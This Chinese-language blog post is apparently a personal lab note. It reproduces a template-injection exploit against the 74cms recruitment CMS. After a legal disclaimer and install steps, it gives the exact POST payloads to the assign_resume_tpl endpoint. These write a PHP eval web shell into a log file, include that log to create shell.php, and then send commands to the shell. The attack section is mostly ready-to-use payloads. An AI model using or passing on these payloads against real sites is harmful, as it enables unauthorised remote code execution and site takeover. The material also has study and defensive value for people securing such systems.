74cms
简介
骑士cms人才系统,是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统。软件具执行效率高、模板自由切换、后台管理功能方便等诸多优秀特点。全部代码都为骑士网络原创,有着完全的知识产权。凭借骑士网络的不断创新精神和认真的工作态度,骑士人才系统已成国内同类软件中的最好用的人才系统。
前置申明
本博客所有内容均为作者的个人学习笔记记录,作者也是小白一枚,如果有什么地方写的不对或者对您带来影响欢迎底部留言或者点击右下角的图标与我联系吧
本博客的所有Security 大类下的文章只能作为
如果喜欢我的文章欢迎各位大佬点击右下角的订阅图标开启浏览器推送吧,这样你只要不清除浏览器缓存就能第一时间收到我的更新通知啦(如果你的网络如果能上Google就用Chrome浏览器订阅,如果不能推荐用微软的Edge浏览器,目前正在寻找解决办法,订阅成功后会有一条提示成功,如果未收到表示网络限制原因未订阅成功)
中华人民共和国网络安全法(2017年6月1日起施行) 第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告、推广、支付结算等帮助。 第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息 第六十三条违反本法规定,给他人造成损害的,依法承担民事责任 第六十四条违反本法规定,构成犯罪的,依法追究刑事责任 中华人民共和国刑法(285286) 第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的处三年以下有期徒刑或者拘役 第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役:后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚 中华人民共和国刑法修正案7(第九条) 在刑法第二百八十五条中增加两款作为第二款、第三款:“违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金:情节特别严重的,处三年以上七年以下有期徒刑,并处罚金提供专门用于侵入、非法控制计算机信息系统的程序、或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严依照前款的规定处罚。
练习
74cms
下载
下载地址:http://www.74cms.com/download/index.html
注意事项: 骑士 cms 不支持php7.x 复现环境为 php5.x 即可
安装文件版本低于6.0.48 php版本大于5.3
安装
将下载的压缩包文件解压自定义命名,以 74cms 为例 如果之前有安装 74cms 那么再次安装的时候 数据库不能重名不然会覆盖安装 可以选择删除或者命名不重复即可
安装向导
安装时注意php版本大于5.3 同时注意骑士cms不支持 php7.x
验证 ThinkPHP 是否存在
http://192.168.151.8/74cms/index.php?m=Home&a=assign_resume_tpl
shell 执行
HackBar 执行 post 请求并通过BurpSuite篡改内容
日志路径:C:\phpstudy2018\PHPTutorial\WWW\74cms\data\Runtime\Logs\Home
url:http://192.168.151.8/74cms/index.php?m=Home&a=assign_resume_tpl
1 | variable=1&tpl= fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>") ;ob_flush(); /r/n<qscms/company_show 列表名="info" 企业id="$_GET['ID']"/> |
1 | variable=1&tpl= fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>") ;ob_flush(); /r/n<qscms/company_show h="info" id="$_GET['ID']"/> |
生成 shell.php
1 | variable=1&tpl=data/Runtime/Logs/Home/21_08_11.log |
执行shell
1 | x= echo "hello word"; |